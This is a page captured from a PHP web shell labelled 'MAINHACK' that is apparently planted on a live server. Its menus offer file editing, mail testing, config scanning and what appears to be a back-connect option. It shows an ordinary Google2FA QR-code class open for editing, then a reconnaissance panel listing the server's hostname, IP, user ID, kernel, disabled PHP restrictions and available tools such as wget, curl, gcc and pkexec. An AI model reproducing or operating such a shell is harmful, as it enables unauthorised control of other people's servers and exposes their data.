[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Google2FA.php
<?php namespace PragmaRX\Google2FAQRCode; use BaconQrCode\Writer; use BaconQrCode\Renderer\Image\Png; use BaconQrCode\Renderer\ImageRenderer; use PragmaRX\Google2FAQRCode\QRCode\Bacon; use PragmaRX\Google2FAQRCode\QRCode\Chillerlan; use BaconQrCode\Renderer\Image\RendererInterface; use BaconQrCode\Writer as BaconQrCodeWriter; use BaconQrCode\Renderer\Image\ImagickImageBackEnd; use PragmaRX\Google2FA\Google2FA as Google2FAPackage; use BaconQrCode\Renderer\RendererStyle\RendererStyle; use BaconQrCode\Renderer\Image\ImageBackEndInterface; use PragmaRX\Google2FAQRCode\Exceptions\MissingQrCodeServiceException; class Google2FA extends Google2FAPackage { /** * @var ImageBackEndInterface|RendererInterface|null $imageBackEnd */ protected $qrCodeService; /** * Google2FA constructor. * * @param QRCodeServiceContract|null $qrCodeService * @param ImageBackEndInterface|RendererInterface|null $imageBackEnd */ public function __construct($qrCodeService = null, $imageBackEnd = null) { $this->setQrCodeService( empty($qrCodeService) ? $this->qrCodeServiceFactory($imageBackEnd) : $qrCodeService ); } /** * Generates a QR code data url to display inline. * * @param string $company * @param string $holder * @param string $secret * @param int $size * @param string $encoding Default to UTF-8 * * @return string */ public function getQRCodeInline( $company, $holder, $secret, $size = 200, $encoding = 'utf-8' ) { if (empty($this->getQrCodeService())) { throw new MissingQrCodeServiceException( 'You need to install a service package or assign yourself the service to be used.' ); } return $this->qrCodeService->getQRCodeInline( $this->getQRCodeUrl($company, $holder, $secret), $size, $encoding ); } /** * Service setter * * @return \PragmaRX\Google2FAQRCode\QRCode\QRCodeServiceContract */ public function getQrCodeService() { return $this->qrCodeService; } /** * Service setter * * @return self */ public function setQrCodeService($service) { $this->qrCodeService = $service; return $this; } /** * Create the QR Code service instance * * @return \PragmaRX\Google2FAQRCode\QRCode\QRCodeServiceContract */ public function qrCodeServiceFactory($imageBackEnd = null) { if ( class_exists('BaconQrCode\Writer') && class_exists('BaconQrCode\Renderer\ImageRenderer') ) { return new Bacon($imageBackEnd); } if (class_exists('chillerlan\QRCode\QRCode')) { return new Chillerlan(); } return null; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002